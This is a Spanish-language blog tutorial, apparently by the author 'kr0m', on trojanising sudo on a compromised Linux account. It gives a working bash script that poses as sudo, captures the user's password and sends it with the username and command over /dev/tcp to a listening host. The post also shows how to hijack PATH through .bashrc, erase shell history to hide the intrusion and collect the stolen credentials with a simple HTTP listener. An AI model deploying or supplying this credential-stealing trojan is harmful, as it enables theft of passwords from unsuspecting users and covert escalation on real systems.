Esta pagina se ve mejor con JavaScript habilitado

Troyanizar sudo

 ·  🎃 kr0m

En alguna ocasión obtendremos acceso a un equipo con un usuario regular pero desconocemos el password asociado, una forma fácil y sencilla de obtener dicho password es sustituir sudo por un script propio que preguntará el pass, lo enviará a un equipo remoto y luego ejecutará el comando mediante el binario original de sudo.

Con un poco de suerte ese password se reutilizará en algún otro servicio ganando acceso a este.

La idea es generar un script llamado sudo que se hará pasar por el sudo original:

mkdir -p ~/.config/sudo
rm ~/.config/sudo/sudo 2>/dev/null

Generamos el script, para poder meter tabuladores mediante cat hay que emplear un pequeño truco:

TAB="$(printf '\t')"

cat <<EOF > ~/.config/sudo/sudo
#!/bin/bash

IP=192.168.20.114
PORT=8000
USER=\$(whoami)

/usr/bin/sudo -n true 2> /dev/null
# Si hace sudo directamente sin pass:
if [ \$? -eq 0 ]; then
${TAB}(echo "\$USER:\$@:sinpass" > /dev/tcp/\$IP/\$PORT) > /dev/null 2>&1
${TAB}/usr/bin/sudo \$@
# Si necesita password:
else
${TAB}echo -n "[sudo] password for \$USER:"
${TAB}read -s pwd
${TAB}echo "\$pwd" | /usr/bin/sudo -S true 2>/dev/null
${TAB}if [ \$? -eq 1 ]; then
${TAB}${TAB}(echo "\$USER:\$pwd:\$@:invalid" > /dev/tcp/\$IP/\$PORT) > /dev/null 2>&1
${TAB}${TAB}echo -e "\nSorry, try again."
${TAB}${TAB}~/.config/sudo/sudo \$@
${TAB}else
${TAB}${TAB}(echo "\$USER:\$pwd:\$@:valid" > /dev/tcp/\$IP/\$PORT) > /dev/null 2>&1
${TAB}${TAB}echo "\$pwd" | /usr/bin/sudo -S \$@
${TAB}fi
fi
EOF

NOTA: El script dá por supuesto que bash fué compilado con soporte para realizar conexiones tcp

Asignamos permisos de ejecución al script y añadimos el directorio donde está el script al path:

chmod u+x ~/.config/sudo/sudo
echo "export PATH=~/.config/sudo:$PATH" >> ~/.bash_profile
echo "export PATH=~/.config/sudo:$PATH" >> ~/.bashrc

Borramos nuestras huellas:

history -c
rm .bash_history

Arrancamos un servidor web donde veremos la info enviada por nuestro script:

mkdir asd
cd asd
python -m SimpleHTTPServer

Cuando la víctima ejecute nuestro script creerá que está ejecutando el binario de sudo original y nosotros recibiremos:

Serving HTTP on 0.0.0.0 port 8000 ...
192.168.20.114 - - [29/Aug/2018 14:30:10] code 400, message Bad request syntax ('kr0m:AAAA:/bin/ls:invalid')
192.168.20.114 - - [29/Aug/2018 14:30:10] "kr0m:AAAA:/bin/ls:invalid" 400 -
192.168.20.114 - - [29/Aug/2018 14:30:14] code 400, message Bad request syntax ('kr0m:XXXX:/bin/ls:valid')
192.168.20.114 - - [29/Aug/2018 14:30:14] "kr0m:XXXX:/bin/ls:valid" 400 -
192.168.20.114 - - [29/Aug/2018 14:30:18] code 400, message Bad request syntax ('kr0m:/bin/ls:sinpass')
192.168.20.114 - - [29/Aug/2018 14:30:18] "kr0m:/bin/ls:sinpass" 400 -
Si te ha gustado el artículo puedes invitarme a un RedBull aquí